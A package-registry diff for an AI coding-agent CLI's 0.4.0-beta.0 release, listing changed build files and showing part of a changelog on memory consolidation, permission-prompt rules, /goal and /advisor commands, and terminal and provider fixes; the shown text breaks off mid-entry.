@letrquan/book 0.3.0 → 0.4.0-beta.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +1024 -0
- package/README.md +6 -3
- package/dist/{additional-roots-H7UNAEHS.js → additional-roots-VAWRQ625.js} +8 -7
- package/dist/{app-GE4OHJOC.js → app-J7BVPSUH.js} +5397 -2953
- package/dist/app-J7BVPSUH.js.map +1 -0
- package/dist/chunk-32WBCUAN.js +660 -0
- package/dist/chunk-32WBCUAN.js.map +1 -0
- package/dist/{chunk-525CAZPY.js → chunk-4DKHLZRI.js} +6 -6
- package/dist/{chunk-4AS7LKKQ.js → chunk-62EEAUID.js} +2 -2
- package/dist/{chunk-AQEQX4FF.js → chunk-AHC7OU75.js} +385 -55
- package/dist/chunk-AHC7OU75.js.map +1 -0
- package/dist/{chunk-EFJ2NH6E.js → chunk-AJZWLKLQ.js} +63 -14
- package/dist/chunk-AJZWLKLQ.js.map +1 -0
- package/dist/chunk-B5FC3MYZ.js +395 -0
- package/dist/chunk-B5FC3MYZ.js.map +1 -0
- package/dist/{chunk-67UZEWWF.js → chunk-DNFQTSMJ.js} +53 -11
- package/dist/chunk-DNFQTSMJ.js.map +1 -0
- package/dist/{chunk-TLX3H2CL.js → chunk-E5WLQSKA.js} +231 -40
- package/dist/chunk-E5WLQSKA.js.map +1 -0
- package/dist/chunk-ECLC4CIJ.js +1181 -0
- package/dist/chunk-ECLC4CIJ.js.map +1 -0
- package/dist/chunk-EEX6QNXV.js +127 -0
- package/dist/chunk-EEX6QNXV.js.map +1 -0
- package/dist/chunk-EFXVSQ5J.js +931 -0
- package/dist/chunk-EFXVSQ5J.js.map +1 -0
- package/dist/{chunk-RFJ6Q6LE.js → chunk-ENLB7NYV.js} +577 -164
- package/dist/chunk-ENLB7NYV.js.map +1 -0
- package/dist/{chunk-IME7R2UI.js → chunk-FPR7SKIE.js} +1268 -883
- package/dist/chunk-FPR7SKIE.js.map +1 -0
- package/dist/{chunk-VPNLCMVR.js → chunk-HFB74CLM.js} +13 -5
- package/dist/chunk-HFB74CLM.js.map +1 -0
- package/dist/{chunk-5RDRAO4B.js → chunk-HOZXKOE3.js} +37 -1
- package/dist/chunk-HOZXKOE3.js.map +1 -0
- package/dist/chunk-IDYWN37T.js +36 -0
- package/dist/chunk-IDYWN37T.js.map +1 -0
- package/dist/{chunk-YC6W4EJH.js → chunk-JGF5HLSI.js} +193 -75
- package/dist/chunk-JGF5HLSI.js.map +1 -0
- package/dist/{chunk-5YHTKWJN.js → chunk-KDNWMKXV.js} +2447 -907
- package/dist/chunk-KDNWMKXV.js.map +1 -0
- package/dist/{chunk-Y2VHN7TC.js → chunk-MEOB2DZA.js} +11 -1
- package/dist/chunk-MEOB2DZA.js.map +1 -0
- package/dist/{chunk-KBQS35OV.js → chunk-MV5PQNIA.js} +2 -2
- package/dist/chunk-N2G4Q7ME.js +2672 -0
- package/dist/chunk-N2G4Q7ME.js.map +1 -0
- package/dist/{chunk-62QL5QUP.js → chunk-OJBMDM5H.js} +17 -1
- package/dist/chunk-OJBMDM5H.js.map +1 -0
- package/dist/{chunk-56SIEMDX.js → chunk-PTDC7ZUP.js} +2 -2
- package/dist/{chunk-X4NJT436.js → chunk-REASC2QG.js} +67 -28
- package/dist/chunk-REASC2QG.js.map +1 -0
- package/dist/chunk-SBTU5BEC.js +114 -0
- package/dist/chunk-SBTU5BEC.js.map +1 -0
- package/dist/{chunk-HQI7NYGX.js → chunk-SWPDKLNM.js} +2 -2
- package/dist/{chunk-W3XFHEF4.js → chunk-UCFJ43OS.js} +140 -28
- package/dist/chunk-UCFJ43OS.js.map +1 -0
- package/dist/{chunk-QYBD22H5.js → chunk-W7SLYS3M.js} +80 -16
- package/dist/chunk-W7SLYS3M.js.map +1 -0
- package/dist/{chunk-SOW4WRQP.js → chunk-WV3O5PGX.js} +3 -3
- package/dist/{chunk-JTPOI3KU.js → chunk-XJRJVXJR.js} +262 -38
- package/dist/chunk-XJRJVXJR.js.map +1 -0
- package/dist/{chunk-224FJZLH.js → chunk-YIL6HTJX.js} +228 -5
- package/dist/chunk-YIL6HTJX.js.map +1 -0
- package/dist/{command-approvals-VBIU6BLM.js → command-approvals-ZRY66LCW.js} +5 -4
- package/dist/context-C3RAP6K5.js +41 -0
- package/dist/{hook-approvals-ZVT4V7IM.js → hook-approvals-DPQD5H65.js} +5 -4
- package/dist/index.js +657 -754
- package/dist/index.js.map +1 -1
- package/dist/{interactive-assets-T4I4SEHU.js → interactive-assets-73AQO5WP.js} +11 -6
- package/dist/{interactive-assets-T4I4SEHU.js.map → interactive-assets-73AQO5WP.js.map} +1 -1
- package/dist/job-runner.js +10 -3
- package/dist/job-runner.js.map +1 -1
- package/dist/job-supervisor.js +13 -4
- package/dist/job-supervisor.js.map +1 -1
- package/dist/loader-DQNPDKOX.js +27 -0
- package/dist/{mcp-approvals-HJ2VDYMC.js → mcp-approvals-27LJYADQ.js} +5 -4
- package/dist/{mcp-config-RNB5LEVE.js → mcp-config-GXSODNCM.js} +3 -2
- package/dist/memory-store-I6Z54VUN.js +51 -0
- package/dist/{model-window-store-MTSQ5JDJ.js → model-window-store-6VKXXTPJ.js} +4 -3
- package/dist/{openai-compatible-2OB54YST.js → openai-compatible-IPUNBJ53.js} +5 -3
- package/dist/{permission-approvals-YLV6UC5W.js → permission-approvals-Q5IMFEZI.js} +5 -4
- package/dist/{permissions-DHOKF3W2.js → permissions-7Y35X6HZ.js} +26 -9
- package/dist/provider-approvals-5AGH3RVT.js +76 -0
- package/dist/{sandbox-WRYTZH3D.js → sandbox-N2RY72GN.js} +6 -5
- package/dist/{scrollback-35ME2GFX.js → scrollback-GD76GNM4.js} +36 -28
- package/dist/scrollback-GD76GNM4.js.map +1 -0
- package/dist/sdk.d.ts +876 -64
- package/dist/sdk.js +57 -37
- package/dist/sdk.js.map +1 -1
- package/dist/settings-loader-KDBH45AQ.js +43 -0
- package/dist/{settings-removed-JWWPT4WA.js → settings-removed-3ATWJEF3.js} +2 -2
- package/dist/shell-selection-Z5WORZU4.js +31 -0
- package/dist/shell-selection-Z5WORZU4.js.map +1 -0
- package/package.json +5 -5
- package/dist/app-GE4OHJOC.js.map +0 -1
- package/dist/chunk-224FJZLH.js.map +0 -1
- package/dist/chunk-5RDRAO4B.js.map +0 -1
- package/dist/chunk-5YHTKWJN.js.map +0 -1
- package/dist/chunk-62QL5QUP.js.map +0 -1
- package/dist/chunk-67UZEWWF.js.map +0 -1
- package/dist/chunk-6OQQOMZR.js +0 -785
- package/dist/chunk-6OQQOMZR.js.map +0 -1
- package/dist/chunk-AQEQX4FF.js.map +0 -1
- package/dist/chunk-C7ADUNPR.js +0 -273
- package/dist/chunk-C7ADUNPR.js.map +0 -1
- package/dist/chunk-EFJ2NH6E.js.map +0 -1
- package/dist/chunk-IME7R2UI.js.map +0 -1
- package/dist/chunk-J62VZYOB.js +0 -1339
- package/dist/chunk-J62VZYOB.js.map +0 -1
- package/dist/chunk-JTPOI3KU.js.map +0 -1
- package/dist/chunk-QYBD22H5.js.map +0 -1
- package/dist/chunk-RFJ6Q6LE.js.map +0 -1
- package/dist/chunk-S4JMID4G.js +0 -259
- package/dist/chunk-S4JMID4G.js.map +0 -1
- package/dist/chunk-TLX3H2CL.js.map +0 -1
- package/dist/chunk-VPNLCMVR.js.map +0 -1
- package/dist/chunk-W3XFHEF4.js.map +0 -1
- package/dist/chunk-X4NJT436.js.map +0 -1
- package/dist/chunk-X66I2NQO.js +0 -137
- package/dist/chunk-X66I2NQO.js.map +0 -1
- package/dist/chunk-Y2VHN7TC.js.map +0 -1
- package/dist/chunk-YC6W4EJH.js.map +0 -1
- package/dist/context-CBOBDY5Q.js +0 -38
- package/dist/loader-S77OVTHH.js +0 -18
- package/dist/memory-store-DZUT5HUH.js +0 -75
- package/dist/scrollback-35ME2GFX.js.map +0 -1
- package/dist/settings-loader-JUNPGAAM.js +0 -35
- package/dist/shell-selection-CDHGJ4GC.js +0 -17
- /package/dist/{additional-roots-H7UNAEHS.js.map → additional-roots-VAWRQ625.js.map} +0 -0
- /package/dist/{chunk-525CAZPY.js.map → chunk-4DKHLZRI.js.map} +0 -0
- /package/dist/{chunk-4AS7LKKQ.js.map → chunk-62EEAUID.js.map} +0 -0
- /package/dist/{chunk-KBQS35OV.js.map → chunk-MV5PQNIA.js.map} +0 -0
- /package/dist/{chunk-56SIEMDX.js.map → chunk-PTDC7ZUP.js.map} +0 -0
- /package/dist/{chunk-HQI7NYGX.js.map → chunk-SWPDKLNM.js.map} +0 -0
- /package/dist/{chunk-SOW4WRQP.js.map → chunk-WV3O5PGX.js.map} +0 -0
- /package/dist/{command-approvals-VBIU6BLM.js.map → command-approvals-ZRY66LCW.js.map} +0 -0
- /package/dist/{context-CBOBDY5Q.js.map → context-C3RAP6K5.js.map} +0 -0
- /package/dist/{hook-approvals-ZVT4V7IM.js.map → hook-approvals-DPQD5H65.js.map} +0 -0
- /package/dist/{loader-S77OVTHH.js.map → loader-DQNPDKOX.js.map} +0 -0
- /package/dist/{mcp-approvals-HJ2VDYMC.js.map → mcp-approvals-27LJYADQ.js.map} +0 -0
- /package/dist/{mcp-config-RNB5LEVE.js.map → mcp-config-GXSODNCM.js.map} +0 -0
- /package/dist/{memory-store-DZUT5HUH.js.map → memory-store-I6Z54VUN.js.map} +0 -0
- /package/dist/{model-window-store-MTSQ5JDJ.js.map → model-window-store-6VKXXTPJ.js.map} +0 -0
- /package/dist/{openai-compatible-2OB54YST.js.map → openai-compatible-IPUNBJ53.js.map} +0 -0
- /package/dist/{permission-approvals-YLV6UC5W.js.map → permission-approvals-Q5IMFEZI.js.map} +0 -0
- /package/dist/{permissions-DHOKF3W2.js.map → permissions-7Y35X6HZ.js.map} +0 -0
- /package/dist/{sandbox-WRYTZH3D.js.map → provider-approvals-5AGH3RVT.js.map} +0 -0
- /package/dist/{settings-loader-JUNPGAAM.js.map → sandbox-N2RY72GN.js.map} +0 -0
- /package/dist/{settings-removed-JWWPT4WA.js.map → settings-loader-KDBH45AQ.js.map} +0 -0
- /package/dist/{shell-selection-CDHGJ4GC.js.map → settings-removed-3ATWJEF3.js.map} +0 -0
package/CHANGELOG.md
CHANGED
|
@@ -4,6 +4,1030 @@ All notable changes to this project are documented in this file.
|
|
|
4
4
|
|
|
5
5
|
## [Unreleased]
|
|
6
6
|
|
|
7
|
+
## [0.4.0-beta.0] - 2026-10-22
|
|
8
|
+
|
|
9
|
+
### Added
|
|
10
|
+
|
|
11
|
+
- **`/memory consolidate [focus]`: tidy the memory store** (PR 3 of the Claude Code memory parity
|
|
12
|
+
plan). Memory is the model's own to write, so it drifts: near-duplicates, facts the code has
|
|
13
|
+
outgrown, lines in `MEMORY.md` that point at nothing, "yesterday" with no date. The command runs
|
|
14
|
+
one agent pass in the current session, so its edits show as ordinary tool rows. It merges
|
|
15
|
+
duplicates (deleting the extras with `rm`), rewrites or deletes contradicted memories, makes
|
|
16
|
+
relative dates absolute, checks that the files, functions, flags and commands a memory names still
|
|
17
|
+
exist, and prunes `MEMORY.md` to one pointer line per file within 200 lines and 25,000 bytes. It
|
|
18
|
+
reconciles feedback and project memories with `CLAUDE.md` / `AGENTS.md`, which win; a memory that
|
|
19
|
+
is clearly newer is annotated `Contradicts CLAUDE.md — verify which is current.` and reported,
|
|
20
|
+
never used to edit them. The pass is refused, with no prompt sent, when memory is disabled or not
|
|
21
|
+
writable in the session, in plan mode, or with no memory files. It runs with `Read`/`Glob`/`Grep`,
|
|
22
|
+
`Write`/`Edit`/`MultiEdit` of `*.md` files in the memory directory and `rm` of them, and nothing
|
|
23
|
+
else (no `ApplyPatch`, MCP or other `Bash`); the memory write guard still applies. It also runs
|
|
24
|
+
headlessly (`book -p "/memory consolidate"`); the other `/memory` forms stay refused in print
|
|
25
|
+
mode. An automatic trigger is not part of this change.
|
|
26
|
+
- **A plain `rm` of memory files needs no prompt.** One `Bash` command that is `rm` and nothing
|
|
27
|
+
else, whose every operand is an absolute `*.md` path under the memory directory (not `MEMORY.md`),
|
|
28
|
+
is allowed after your `deny`, `ask` and `allow` rules, as a memory write is. Flags, `--`, globs,
|
|
29
|
+
quotes, variables, `.`/`..` segments, chaining, redirects, substitution and paths through a
|
|
30
|
+
symlinked subdirectory all keep the ordinary prompt, as does every `rm` in a session another
|
|
31
|
+
agent drives.
|
|
32
|
+
|
|
33
|
+
- **Compact mode hides a tool step's thought, and read-only git through `Bash` folds** (#470). An
|
|
34
|
+
assistant step that calls a tool no longer draws its `▸ thought · N lines` row in the compact
|
|
35
|
+
transcript, whether the row is quiet or not (Ctrl+O shows it, and so does screen-reader mode); a
|
|
36
|
+
final answer, a turn that only updates the task list or hands the turn back (`TodoWrite`,
|
|
37
|
+
`AskUserQuestion`), a step whose call waits for your approval, and a thought still streaming keep
|
|
38
|
+
theirs. `git status`, `log`, `diff`, `show`,
|
|
39
|
+
`grep`, `ls-files` and listing-only `git branch`, with only `-C <dir>`, `--no-pager`, `-P` and
|
|
40
|
+
`--no-optional-locks` before the subcommand, now fold into quiet runs like Book's own Git tools
|
|
41
|
+
(`-c`, `--output`, `grep -O`, a `--format` that asks for a signature, aliases and every path
|
|
42
|
+
outside the workspace keep their row).
|
|
43
|
+
- **The compact transcript folds read-only shell commands into the quiet-run summary** (#459). A
|
|
44
|
+
model that explores through the shell (`cat src/a.js`, `rg TODO src`, `ls src`) no longer draws a
|
|
45
|
+
row per command: a conservative parser, modelled on OpenAI Codex's `parse_command.rs`, folds a
|
|
46
|
+
`Bash` call like a read when it can prove the whole command read-only (no redirection, expansion,
|
|
47
|
+
background job, wrapper, pager, follow mode or mutating flag) and it succeeded (a search that found nothing and exited 1 counts), ran in the
|
|
48
|
+
foreground (not moved to a background shell at its timeout) and stays inside the workspace. Any
|
|
49
|
+
option that names a file counts as a path, and a glob that could expand to `..` keeps the row.
|
|
50
|
+
`ack` does not fold, because it reads a project-level `.ackrc`. The summary counts shell reads with `Read`'s files, shell searches
|
|
51
|
+
with the searches, and listings as `N listings`. Anything else keeps its own row.
|
|
52
|
+
- **Memory is keyed by the git repository root, and a cut `MEMORY.md` says so.** Linked worktrees
|
|
53
|
+
and subdirectories of one repository now share one memory (before, each path got its own, so a
|
|
54
|
+
fact taught in the main checkout was missing in a worktree). The root is found by reading `.git`
|
|
55
|
+
(no `git` process); outside a repository the key is the workspace itself, and a dotfiles `.git`
|
|
56
|
+
in your home directory is no repository for a project under it without its own `.git` (#567;
|
|
57
|
+
memory saved under the home key before stays there, unmigrated). A directory under the
|
|
58
|
+
old workspace-path key is moved on first run, or merged into the new one with `-2`, `-3`
|
|
59
|
+
suffixes on a name collision. `MEMORY.md` now loads its first 200 lines and 25,000 bytes, and a
|
|
60
|
+
`> WARNING:` line at the end of the loaded index names how much was cut off and where. The
|
|
61
|
+
`/memory status` report and `book doctor` count bytes as well as lines.
|
|
62
|
+
- **`/goal <condition>`: keep working until a condition holds**, modelled on Claude Code's command.
|
|
63
|
+
Each time the agent stops without calling a tool, the compact model reads the transcript and
|
|
64
|
+
judges the condition with Claude Code's evaluator prompt. An unmet verdict returns its reason to
|
|
65
|
+
the agent as a host-authored turn and the run continues. A met goal clears itself
|
|
66
|
+
(`● Goal achieved (…)`); one judged impossible clears with `Goal could not be achieved: …` and
|
|
67
|
+
ends the run `failed / goal_unmet`, as does a goal still unmet after eight rounds of feedback (the
|
|
68
|
+
ninth unmet check, as in Claude Code), which stays set for the next message. A check that cannot
|
|
69
|
+
run fails open: the run ends, the goal stays, and the outcome is `failed / goal_unverified`. The
|
|
70
|
+
last turn `--max-turns` allows is checked too, and an unmet goal there ends `failed / max_turns`.
|
|
71
|
+
Plan stops, handoffs, cancels and the continuation brakes are never overridden by a goal. Goals
|
|
72
|
+
persist in the session file (a new `goal` record) and survive `--resume`; print mode supports
|
|
73
|
+
`/goal` and reports each check on stderr (under `--quiet`, only the line that explains a failure)
|
|
74
|
+
or as `goal_status` stream-json events. While a goal is set, the status line shows
|
|
75
|
+
`◎ /goal active (<elapsed>)`, counting from when it was set, until the goal is met, judged
|
|
76
|
+
impossible, or cleared.
|
|
77
|
+
- **`/advisor <model>`: let the agent consult a stronger model**, modelled on Claude Code's
|
|
78
|
+
advisor. A configured `advisorModel` (or `BOOK_ADVISOR_MODEL`) adds an `Advisor` tool to the
|
|
79
|
+
core set; calling it sends the agent's system prompt and the whole conversation to the advisor
|
|
80
|
+
model through its own provider and returns the advice. It runs client-side, so it works on every
|
|
81
|
+
provider, and it is billed at the advisor model's rates. `/advisor` with no argument opens the
|
|
82
|
+
model picker, aimed at the advisor, with an **Off** row after the models, and `/config` has an
|
|
83
|
+
**Advisor** row (`V`), so the advisor is chosen from a list instead of typed from memory (a
|
|
84
|
+
mistyped `/advisor claude` was saved and matched no model). The picker flags a saved advisor
|
|
85
|
+
that is not in the list and a `BOOK_ADVISOR_MODEL` that outranks the choice. An id the advisor
|
|
86
|
+
would refuse (#419) is refused by both `/advisor <id>` and the picker, and any other id that
|
|
87
|
+
names no listed model is saved with a note. Every model picker
|
|
88
|
+
(`/model` too) now opens with the cursor on the current choice, which a long list used to scroll
|
|
89
|
+
out of view, and `Alt+S session` is offered only where it applies (the main model).
|
|
90
|
+
- **`book trust provider [id]`** approves or rejects a provider a repository declares (#418), with
|
|
91
|
+
`-w`/`--workspace`, `--all-pending` and `--reject`; with no id it lists what awaits a decision.
|
|
92
|
+
- **Update a provider's API key without re-adding it** (#592). In `/model` and `/providers`,
|
|
93
|
+
`Alt+K` on a model of a provider from your user file opens a masked "Update API key" sheet.
|
|
94
|
+
- It tests the new key against that provider's own endpoint with one model-list call, and saves
|
|
95
|
+
on success.
|
|
96
|
+
- On failure, `s` saves anyway, `r` retries and `Esc` goes back to the key.
|
|
97
|
+
- `book config provider-key <id>` does the same from the shell. It reads the key from stdin
|
|
98
|
+
(hidden on a terminal, piped otherwise) and refuses a key given as an argument. `--force` saves
|
|
99
|
+
despite a failed test, and `--no-check` skips the test. Like the other `config` subcommands, it
|
|
100
|
+
needs no working credentials.
|
|
101
|
+
- Only `apiKey` changes: the model catalog, the active model and per-model overrides stay. A
|
|
102
|
+
same-named entry in `.book/settings.local.json` loses its connection keys, so it can't shadow
|
|
103
|
+
the update. A provider only a repository declares is refused.
|
|
104
|
+
- The running session sends the new key from its next request.
|
|
105
|
+
|
|
106
|
+
### Fixed
|
|
107
|
+
|
|
108
|
+
- **Symbols such as `⎿`, `⏺` and `⌘` are measured one column wide.** Book's `displayWidth` counted
|
|
109
|
+
the whole Miscellaneous Technical block (U+2300–U+23FF) as two columns, while Ink and the
|
|
110
|
+
terminal draw them in one, so a row that used one wrapped or padded a column early. Only its
|
|
111
|
+
emoji-presentation characters (`⌚`, `⏳`, `⏰`) and the East Asian Wide angle brackets (`〈`,
|
|
112
|
+
`〉`) are wide now.
|
|
113
|
+
- **Resizing the terminal during a turn no longer leaves a second working indicator, input bar and
|
|
114
|
+
footer on screen** (#525, #538, #537, #547, #565). On a narrowing resize Ink drew at once with the old
|
|
115
|
+
layout, and a row wider than the new width autowrapped and threw off its line count, so the next
|
|
116
|
+
frame left a second working indicator, extra rules, input bar and footer behind. Every Ink frame
|
|
117
|
+
row is now clipped to the terminal width, with tabs expanded. After a resize the new size is
|
|
118
|
+
committed before Ink draws, so the first frame and the forced redraw already use it. Tabs in tool
|
|
119
|
+
output are expanded to 8-column stops, so a tab-separated row is measured at its real width, and
|
|
120
|
+
so are tabs in a code block of an agent message before the block is wrapped, so a tab-indented
|
|
121
|
+
line near the edge wraps inside the block instead of losing its end. Tabs in an agent message's
|
|
122
|
+
paragraphs, list items, table cells and inline code are expanded the same way before wrapping,
|
|
123
|
+
with stops counted from the start of the text, so a tab-separated line keeps its last words.
|
|
124
|
+
`BOOK_INK_FRAME_CLIP=off`
|
|
125
|
+
turns the row clip off. Ctrl+L redraws once per press.
|
|
126
|
+
- **The agent store opens off the event loop, an apply that outlives its session's manager is
|
|
127
|
+
still recorded, and earlier agents stay usable after `/clear`** (#516, #518, #527, #540, #544,
|
|
128
|
+
#554, #568). Opening the managed-agent store stalled the first 190 to 670 ms after the first frame, and
|
|
129
|
+
text typed then and submitted with Enter became a paste. The store now opens off the event loop,
|
|
130
|
+
so there is no stall and that Enter submits. An apply that finishes after `/clear`, `/resume` or
|
|
131
|
+
`/rewind` is recorded by the session's current manager, so the same apply is not offered again,
|
|
132
|
+
even when the old manager could not delete its lease file; when no manager is current, it still
|
|
133
|
+
never overwrites a newer record. After `/clear`, `/resume` or `/rewind` the earlier agents of the
|
|
134
|
+
same Book process can be sent to, applied, dismissed and recovered again; they had read as owned
|
|
135
|
+
by another live Book process until Book exited. `AgentStop` leaves an apply that you started
|
|
136
|
+
running, and its result says so. The agent detail view shows whether its current candidate was
|
|
137
|
+
applied (`applied`, `not applied` or `apply failed`), and a re-run that ends on a new candidate
|
|
138
|
+
commit resets it to not applied. `/agent <id>` for another session's agent says
|
|
139
|
+
`✕ Agent <id> belongs to another session.` instead of staying on `Loading subagent…`;
|
|
140
|
+
`/agent send` to such an agent still sends and says its view is not shown. A manager the session
|
|
141
|
+
disposed no longer reads as a live owner while a lease file it could not delete still looks
|
|
142
|
+
fresh (up to 15 s): the session remembers the instances it disposed, and a lease that cannot be
|
|
143
|
+
deleted is overwritten with a dead one where possible.
|
|
144
|
+
- **Expanding a tool row shows its long output lines whole** (#550). A line wider than the output
|
|
145
|
+
block was shortened with `…` and the footer offered Ctrl+E, but the expanded row cut it the same
|
|
146
|
+
way, so the end of a long path, JSON blob or table row never showed. An expanded row (Ctrl+E, or
|
|
147
|
+
Ctrl+O then Ctrl+E) now wraps each long line onto the rows below; a collapsed row still shortens
|
|
148
|
+
it, and Ctrl+E also picks a row whose only loss is a shortened line.
|
|
149
|
+
- A wrapped highlighted line keeps its token colours across the break (#578).
|
|
150
|
+
- A Markdown paragraph or list item drawn without a width expands tabs.
|
|
151
|
+
- A line the row bound cuts into counts as `1 long line shortened`, not as a hidden line.
|
|
152
|
+
- **Windows: Book's directory walks and file loads don't follow a link to a network (UNC) path**
|
|
153
|
+
(#579). This covers:
|
|
154
|
+
- the `@` file picker, skill and subagent loading, Glob, Grep (both backends, and its `path`)
|
|
155
|
+
and `.gitignore` loading;
|
|
156
|
+
- a project `.mcp.json` or `.bookrc.json`, rewind snapshots, context refresh and memory keying.
|
|
157
|
+
|
|
158
|
+
Directories you configure on a share (`additionalDirectories`, the memory directory) are still
|
|
159
|
+
searched. On Windows, ripgrep takes its ignore rules from the root `.gitignore` alone. The UNC
|
|
160
|
+
check probes each path once per call.
|
|
161
|
+
|
|
162
|
+
- **Book's own workspace writes only touch regular files.** Book leaves the workspace files it
|
|
163
|
+
manages unchanged when they aren't regular files, and the write stops with a notice. That covers
|
|
164
|
+
`.book/settings.json`, `.book/settings.local.json`, `.book/migrations.json`, a project
|
|
165
|
+
`.mcp.json`, `/export` output and `.book/debug.log`. `/export` writes only inside the workspace.
|
|
166
|
+
- **A dotfiles `.git` in your home directory is no longer the repository of every project under
|
|
167
|
+
it** (#567). For a project under your home directory without its own `.git`, Book took the home
|
|
168
|
+
directory as the project's repository: project skills were looked for in every directory from
|
|
169
|
+
home down, the prompt's git line showed the dotfiles branch, and managed agents snapshotted the
|
|
170
|
+
whole home directory, untracked files included.
|
|
171
|
+
- **What sees no repository:** memory, project skill discovery, the prompt's git line,
|
|
172
|
+
managed-agent isolation, the TUI status bar, `/review` and the Git tools (GitStatus, GitDiff,
|
|
173
|
+
GitLog, GitBranch and GitCommit) all treat such a project as in no repository (#579). Book's own
|
|
174
|
+
git calls carry a `GIT_CEILING_DIRECTORIES` entry for the home directory. Patcher and validator
|
|
175
|
+
agents refuse there, and their refusal now names the ignored dotfiles repository.
|
|
176
|
+
- **Workspace at home:** a workspace that is the home directory itself still sees its repository
|
|
177
|
+
in all of these, and isolation snapshots then leave out Book's own home directory
|
|
178
|
+
(`BOOK_HOME`).
|
|
179
|
+
- **Old agent state:** managed-agent state an older Book kept under the home key is not used. It
|
|
180
|
+
is reported once, with a cleanup command.
|
|
181
|
+
- **Unchanged:** your own `Bash`, and a project with its own `.git`.
|
|
182
|
+
- **A spent-limit or rate-limit message states the reset time once, and a WebFetch same-origin
|
|
183
|
+
redirect refusal names the URL the model asked for** (#513, #246). A provider message that gave
|
|
184
|
+
its own reset time had it repeated by Book's text, including when the wait was too long to retry;
|
|
185
|
+
it is now stated once, and a rate-limit reset adds Book's own advice. The refusal for a redirect
|
|
186
|
+
to a blocked path on the same origin named the redirect target; it now names the URL the model
|
|
187
|
+
asked for.
|
|
188
|
+
- **A provider save keeps per-model overrides, `CLAUDE.local.md` always loads last, and `/init`,
|
|
189
|
+
commands and skills name the session after what was typed** (#514, #524). Saving a provider from
|
|
190
|
+
`/model` (Alt+R included) now keeps per-model overrides such as a hand-set `contextWindow` in
|
|
191
|
+
`.book/settings.local.json`; it clears only `baseURL` (and `baseUrl`), `apiKey`, `type` and a
|
|
192
|
+
stale `reportedContextWindow`. `CLAUDE.local.md` loads last and as local even when a project file
|
|
193
|
+
links to it. `/init`, a custom command or a skill names the session after what you typed (`Init`,
|
|
194
|
+
`Deploy staging`) rather than the text it generates, and the plan handoff keeps the planning
|
|
195
|
+
session's name.
|
|
196
|
+
- **A router's one-line "[Error] The model failed to generate a response." is re-issued, not
|
|
197
|
+
counted as an answer** (#404). A router sends that sentence as the whole reply when its upstream
|
|
198
|
+
fails, and Book's check for an upstream error envelope, which leans on the token usage reported
|
|
199
|
+
beside it, did not recognise it: the run ended `completed / normal_completion` on a reply with no
|
|
200
|
+
work in it. The router's exact sentence is now taken for an envelope whatever the usage says, and
|
|
201
|
+
the turn is re-issued once. If it comes back, the run ends `failed / provider_error` with provider
|
|
202
|
+
code `error_envelope`. A model's own one-line `[Error]` answer in other words is still an answer.
|
|
203
|
+
- **A tool call whose arguments arrive empty is a retryable route fault, not the model's** (#403).
|
|
204
|
+
Some routes stream a tool call with an empty argument string. Book read it as `{}` and rejected it
|
|
205
|
+
as `invalid_arguments`, which was not retryable, told the model "Do not retry it unchanged" from
|
|
206
|
+
the second try, and ended on `all_tools_blocked` blaming the model. A call whose arguments, joined
|
|
207
|
+
across every fragment, are empty or whitespace is now marked as arriving empty on the wire. For a
|
|
208
|
+
tool with required properties the registry rejects it as `invalid_json_arguments` with shape
|
|
209
|
+
`empty`: retryable, blamed on the route, exempt from "Do not retry it unchanged", and counted by
|
|
210
|
+
`book tool-stats`. A literal `{}` is not marked, and a tool with no required arguments still runs
|
|
211
|
+
with `{}`. When `all_tools_blocked` ends a streak in which every call arrived empty, the stop now
|
|
212
|
+
names the provider route and says the model is not at fault; a streak that also holds a malformed
|
|
213
|
+
call keeps the old text.
|
|
214
|
+
- **An HTTP error whose body never arrived no longer reads "(empty response body)"** (#449). A read
|
|
215
|
+
that timed out, failed or was aborted before a single byte arrived was reported with the same
|
|
216
|
+
words as a response that really was empty, so a stalled router and an empty 404 looked alike. The
|
|
217
|
+
first now says "no response body received", also after the retries are exhausted; a null or
|
|
218
|
+
completed-empty body still reads "(empty response body)", and partial text is kept. A body that
|
|
219
|
+
says nothing useful (Go's `404 page not found`, `{}` or `[]`, an HTML page) keeps its text and
|
|
220
|
+
gains "The reply came from <host> for model <model>.", with an HTML page shown as its title. Only
|
|
221
|
+
the host is named, never userinfo, path or query.
|
|
222
|
+
- **Tool call ids stay unique across a conversation** (#410). A provider can return an id it used in
|
|
223
|
+
an earlier turn: 9router's `ag/` route mints `call_` plus seven digits, and one session collided
|
|
224
|
+
at its 140th call. Book saved both calls, so every later request, and every `--resume`, carried
|
|
225
|
+
two calls with one id, which Gemini refuses with `400 INVALID_ARGUMENT` for good. A streamed call
|
|
226
|
+
whose id is already in the conversation is now renamed before it is announced, run or saved:
|
|
227
|
+
`call_1` becomes `call_1_2`, the smallest suffix not in use, and its result and any Anthropic
|
|
228
|
+
`tool_use` block carry the new id. A session that already holds a repeat resumes instead of
|
|
229
|
+
failing: when its messages are built the first use keeps its id and each later one is renamed the
|
|
230
|
+
same way every time, so earlier turns render byte for byte and the prompt cache holds. The session
|
|
231
|
+
file is not rewritten. A batch that repeats an id within one response is still rejected, and its
|
|
232
|
+
rejected message no longer keeps the Anthropic `tool_use` blocks that every later request would
|
|
233
|
+
have replayed.
|
|
234
|
+
- **A disposed manager keeps the record it wrote, and a contended state write is retried once**
|
|
235
|
+
(#490, #493). When the session closed while a child agent was running, the child's run could still
|
|
236
|
+
overwrite the `interrupted / process_exit` record that `dispose()` had written with `stopped`,
|
|
237
|
+
`failed` or `completed`. A disposed manager's run now returns straight after its loop, the
|
|
238
|
+
record-changing callbacks go quiet, and the store refuses a save after dispose (its own final
|
|
239
|
+
flush still goes through); the transcript the loop added after its last save is dropped, as a
|
|
240
|
+
process exit would drop it. Separately, an atomic state-file write whose lock and fsyncs had used
|
|
241
|
+
up its 500 ms deadline returned `busy` on the first contended rename without trying again. That
|
|
242
|
+
first contended rename now always gets a back-off and one more attempt, which still honours
|
|
243
|
+
cancellation and a disposed store. A second contention follows the normal deadline rule and
|
|
244
|
+
returns `busy`.
|
|
245
|
+
- **Cancelling, stopping or closing a session now stops an apply that is already running** (#491).
|
|
246
|
+
An apply's signing read, and the operator's `gpg.ssh.defaultKeyCommand` inside it, took no signal,
|
|
247
|
+
so a `/review --fix` cancel, `AgentStop` or `dispose()` left that command running for up to its
|
|
248
|
+
30 s bound. The signal now reaches the candidate lookup, the git version and signing-config reads
|
|
249
|
+
and the key command, which is killed at once. `dispose()` stops only those reads: a cherry-pick
|
|
250
|
+
